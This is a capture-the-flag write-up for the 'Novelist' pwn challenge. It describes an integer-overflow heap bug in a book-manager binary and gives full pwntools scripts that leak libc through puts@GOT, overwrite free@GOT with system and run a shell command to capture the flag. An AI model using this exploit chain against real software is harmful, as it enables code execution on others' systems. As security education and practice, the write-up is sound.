>Novelist
Challenge: Novelist (pwn)
Flag format: MetaCTF{...}
Result: Remote flag captured: MetaCTF{heaps_of_books_heaps_of_heap_knowledge}.
This writeup documents the vulnerability discovery, exploitation, and automation used to retrieve the flag. It also includes the exploit scripts used in this repository.
>Files in the challenge
main— 64-bit ELF (not stripped)main.c— source included (helpful)libc.so.6— provided libc for local testingsolution/001.py— small helper that demonstrates leaking via stdoutsolution/002.py— full exploit and automation (local + remote)solution/003.py— debug helper used during iteration
>High level program behavior
main.c implements a small "book" manager:
book_t { char title[32]; size_t num_pages; char* content; }books[MAX_BOOKS]global array (5 slots)- Options to: start a new book, write into a book, read a book, delete a book
Important functions / behaviors:
start_book()allocates abook_tand thenbook->content = malloc(book->num_pages * PAGE_SIZE)wherePAGE_SIZE = 4096.read_n()reads from stdin stopping at newline, not null-terminating the buffers in every call.write_book()loops over pages and reads up to PAGE_SIZE bytes per page intobook->content + i * PAGE_SIZE.read_book()memcpy's the first 256 bytes ofbook->contentinto a localtrunc[256]and printsbook->titleandtrunc.delete_book()freesbook->contentandbook, then sets slot to NULL.
>Vulnerability summary
Two interacting issues enable exploitation:
-
Integer overflow in allocation size when
book->num_pagesis huge. Ifbook->num_pagesis set to a very large value (e.g. (1<<52)+1) thenbook->num_pages * PAGE_SIZEoverflows a size_t on 64-bit arithmetic to a small number (effectively permitting a small allocation while the code believes it's large). This is used to makemallocreturn a small chunk but still allow the program to index by pages. -
The
write_book()function writesPAGE_SIZE(0x1000) bytes per page intobook->content + i * PAGE_SIZE. Becausebook->contentpoints to a small allocation (due to integer overflow), a write of a full page will overflow into nearby heap metadata and adjacent heap chunks. With carefully forged contents the write can overwrite adjacent heap metadata to craft a fakebook_tstructure for another slot — specifically, we can make book #1'scontentpointer point to arbitrary addresses (for example GOT entries), enabling both information leak and arbitrary write via normal program functionality.
Together these allow turning the program into an arbitrary read/write primitive to process memory, enabling a typical ret2libc/overwrite GOT exploitation.
>Protections observed
- ELF: x86_64, not PIE
- Partial RELRO
- NX enabled
- Stack canary present
- Symbols available (not stripped)
This means: no PIE (so the binary addresses are stable), NX and stack canary prevent typical stack-based shellcode or ret2ret stack clash, but we can perform arbitrary GOT overwrite to point a libc function pointer (free/puts) to system.
Because we can leak libc via a GOT entry (puts@GOT), we can compute libc base and find system.
>Exploitation strategy
-
Create Book 0 with a huge
num_pagesto trigger allocation integer overflow. This yields a small allocated chunk but the program will write PAGE_SIZE blocks intobook->content— enabling overflow beyond the allocation. -
Create Book 1 normally (1 page). Use the overflow from Book 0's first 2 pages to write a forged
book_tthat sets Book 1'scontentpointer to point atputs@GOT. -
Call
readon Book 1 to leak theputsaddress (the program printsbook->titlethen prints the first 256 bytes ofbook->content, so pointing content toputs@GOTleaks bytes from GOT). -
Calculate libc base from leaked
putsaddress using providedlibc.so.6. -
Use the same heap forgery technique to set Book 1's
contentpointer tofree@GOT(or directly overwriteputs@GOTdepending on approach). Usewriteto place the address ofsystemin the chosen GOT entry. -
Create Book 2 and place a command (e.g.
/bin/sh -c 'cat flag.txt || cat flag || ls') in its content. -
Call
delete_book(2)to cause afree(book->content)which will actually callsystem(book->content)becausefree@GOTnow points tosystem. This runs the command and returns its output. Capture the flag from the returned output.
Note: GOT-overwrite -> free to system is a common pattern; overwriting puts can also be used to achieve a similar effect by invoking puts on a pointer like /bin/sh via read path.
>Scripts and full code
All exploit code used during the process is included in the solution/ folder. Below are the full scripts used during the writeup and exploitation (copied verbatim from the repository):
1) solution/001.py — simple leak helper
#!/usr/bin/env python3
from pathlib import Path
from pwn import *
BIN = Path(__file__).resolve().parent.parent / "main"
context.binary = ELF(str(BIN))
context.terminal = ["tmux", "splitw", "-h"]
def leak_stdout_flags():
io = process([str(BIN)])
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"Enter book index: ", b"-8")
line1 = io.recvline().rstrip(b"\n")
line2 = io.recvline().rstrip(b"\n")
io.close()
return line1, line2
def main():
line1, line2 = leak_stdout_flags()
log.info("stdout line1 raw: %s", line1)
log.info("stdout line1 hex: %s", line1.hex())
log.info("stdout line2 len: %d", len(line2))
if __name__ == "__main__":
main()This script was useful in the initial reconnaissance to show that reading with bad indices could leak memory locations (by pointing book->content at stdout/stderr).
2) solution/003.py — debugging helper used during iteration
#!/usr/bin/env python3
"""Debug helper to observe behaviour after GOT overwrite."""
from pathlib import Path
from pwn import *
BASE_DIR = Path(__file__).resolve().parent.parent
BIN_PATH = BASE_DIR / "main"
LIBC_PATH = BASE_DIR / "libc.so.6"
elf = context.binary = ELF(str(BIN_PATH))
libc = ELF(str(LIBC_PATH))
context.log_level = "debug"
MENU_PROMPT = b"> "
def menu(io, option):
io.sendlineafter(MENU_PROMPT, str(option).encode())
def start_book(io, title, pages):
menu(io, 1)
io.sendafter(b"Enter your book's title: ", title)
io.sendline(b"")
io.sendlineafter(b"Enter your book's page count: ", str(pages).encode())
def write_book_overflow(io, idx, target):
menu(io, 2)
io.sendlineafter(b"Enter book index: ", str(idx).encode())
io.recvuntil(b"Page 1: ")
io.send(b"A" * 0x1000)
io.recvuntil(b"Page 2: ")
header = p64(0x1010) + p64(0x41)
forged = header + b"B" * 32 + p64(1) + p64(target)
io.send(forged.ljust(0x1000, b"C"))
io.recvuntil(b"Page 3: ")
io.send(b"\n")
def write_once(io, idx, data):
menu(io, 2)
io.sendlineafter(b"Enter book index: ", str(idx).encode())
io.recvuntil(b"Page 1: ")
io.send(data + b"\n")
def read_book(io, idx):
menu(io, 3)
io.sendlineafter(b"Enter book index: ", str(idx).encode())
title = io.recvline().rstrip(b"\n")
body = io.recvline().rstrip(b"\n")
return title, body
def main():
io = process([str(BIN_PATH)])
start_book(io, b"OVERFLOW".ljust(31, b"X"), (1 << 52) + 1)
start_book(io, b"LEAKER".ljust(31, b"Y"), 1)
write_book_overflow(io, 0, elf.got["puts"])
_, leak = read_book(io, 1)
puts = u64(leak.ljust(8, b"\x00"))
log.info("puts leak %#x", puts)
libc.address = puts - libc.sym["puts"]
start_book(io, b"/bin/sh\x00".ljust(31, b"Z"), 1)
write_once(io, 2, b"/bin/sh\x00")
write_book_overflow(io, 0, elf.got["free"])
write_once(io, 1, p64(libc.sym["system"]))
io.interactive()
if __name__ == "__main__":
main()This script was used during interactive debugging to step through each stage and try overwriting free@GOT with system.
3) solution/002.py — final exploit (automation + remote handling)
This file automates the full chain (leak, compute libc, overwrite GOT, trigger command execution, capture output). The script supports running locally and reading a one-time remote.txt to connect to the remote service and run the same chain. The script is fairly commented and produces progress updates.
(Full file included in solution/002.py in the repository.)
>How to run
- Create and activate venv (already done during development):
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt # or just pip install pwntools- Run the exploit automation locally and (optionally) against remote. The script will ask for the remote endpoint once if
remote.txtis not present.
./.venv/bin/python solution/002.pyDuring development I used remote.txt to store the remote connect string. Example remote text line that the challenge description gave:
nc host5.metaproblems.com 5020
The script reads remote.txt if present and executes the same sequence on remote.
>Key implementation details (notes)
- The integer overflow trick uses
num_pages = (1 << 52) + 1which when multiplied by0x1000wraps around (mod 2^64) and results in a manageable allocation while the program still writes full pages. - The forged heap chunk header
p64(0x1010) + p64(0x41)followed bytitle(32),p64(1), andp64(target)is crafted to mimic the layout where the program expects abook_tfollowed by content pointer. By writing that intobook0's overflow we make another book'scontentpointer point at a chosen address. - Using
read_bookwe could leakputs@GOT(by makingbook->contentpoint toputs@GOT). The 256-bytememcpyinread_bookhelps extract bytes for the leak. - After calculating libc base, we overwrite
free@GOTwithsystemand then performdelete(book_2)so the program callssystem(book_2->content).
>Captured flag
During the remote stage the exploit returned the flag:
MetaCTF{heaps_of_books_heaps_of_heap_knowledge}
>Mitigations / Lessons learned
- Sanitize user-supplied numeric inputs used for allocation sizes. Validate
num_pagesfor acceptable ranges and check for multiplication overflow prior to using values formalloc. - Use full RELRO and PIE to make GOT overwrites more difficult and to reduce static address predictability.
- Add runtime checks for abnormal allocations or very large numbers.
>Appendix — quick reference of the exploitation steps (short)
- Create
book0withnum_pages = (1<<52)+1. - Create
book1normally. - Overflow
book0pages to forge abook_tfor book1 that setsbook1->content = puts@GOT. - Read book1 to leak
putsand compute libc base. - Overwrite book1->content to
free@GOT. - Write
systemaddress intofree@GOT. - Create
book2with content being/bin/sh -c 'cat flag.txt || cat flag || ls'. - Call
delete_book(2)to triggersystem(book2->content)and capture output.